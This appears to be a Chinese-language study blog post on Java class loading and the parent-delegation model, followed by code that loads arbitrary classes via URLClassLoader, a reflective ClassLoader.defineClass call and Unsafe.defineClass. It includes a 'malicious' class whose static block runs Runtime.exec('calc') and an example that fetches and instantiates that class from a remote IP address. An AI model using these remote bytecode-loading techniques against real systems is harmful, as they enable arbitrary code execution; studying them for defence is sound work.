加载任意的类-java

强烈推荐视频

1
https://www.bilibili.com/video/BV16h411z7o9?p=4&vd_source=b2266581304ec9fed75badf10a27c9dd

双亲委派

ClassLoader(类加载器)

Java源代码被编译器编译成**.class**的字节码文件。然后由我们得ClassLoader负责将这些class文件给加载到JVM中去执行

Bootstrap classLoader:主要负责加载核心的类库(java.lang.*等),构造ExtClassLoader和APPClassLoader。

ExtClassLoader:主要负责加载jre/lib/ext目录下的一些扩展的jar。

AppClassLoader:主要负责加载应用程序的主函数类

image-20230323124000174

原理

当一个Hello.class这样的文件要被加载时。不考虑我们自定义类加载器,首先会在AppClassLoader中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达Bootstrap classLoader之前,都是在检查是否加载过,并不会选择自己去加载。直到BootstrapClassLoader,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出ClassNotFoundException

为什么

防止用户自定义系统级别的类导致jvm运行出错,双亲委派机制保证了java自己的核心类库的稳定,简单来说我在自己项目下写一个Runtime是不会影响真正的Runtime的使用,因为加载器不会加载我们写的类

image-20230323124222248

加载器运行代码分析

加载器加载哪些类是由他们的加载路径决定的

image-20230323124853183

image-20230323125940712

image-20230323131236681

和双亲委派的原理图不一致的是我们的AppClassLoader上面还存在多个继承关系,urlclassloader听名字就是可以传入url来加载我们需要class文件

loadClass–>findClass–>defineClass(从字节码加载类)

URLClassLoader任意类加载

1
2
3
4
5
6
7
8
9
public class Hello {

static{
System.out.println("Hello");
}

public static void main(String[] args) {
}
}

image-20230323132544717

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test01 {

//利用urlClassLoader加载字节码文件
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///c:\\xiu\\")});
Class<?> c = urlClassLoader.loadClass("Hello");
c.newInstance();

}

}

image-20230323132655983

假如是我们自己写的恶意类的字节码的话

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Hello {

static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test01 {


public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://119.3.229.83/")});
Class<?> c = urlClassLoader.loadClass("Hello");
c.newInstance();

}
}

image-20230323134334205

jar包也可以使用此方法加载

ClassLoader.defineClass任意类加载

私有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test01 {


public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {

ClassLoader cl = ClassLoader.getSystemClassLoader();

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class"));
Class c = (Class) defineClass.invoke(cl, "Hello", code, 0, code.length);
c.newInstance();


}

}

image-20230323135622604

Unsafe.defineClass任意类加载

spring可以直接生成这个私有类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test01 {


public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {

ClassLoader cl = ClassLoader.getSystemClassLoader();

Class c = Unsafe.class;
Field theUnsafeFiled = c.getDeclaredField("theUnsafe");
theUnsafeFiled.setAccessible(true);
Unsafe uns = (Unsafe) theUnsafeFiled.get(null);
byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class"));
Class c2 = (Class) uns.defineClass("Hello", code, 0, code.length, cl, null);
c2.newInstance();
}
}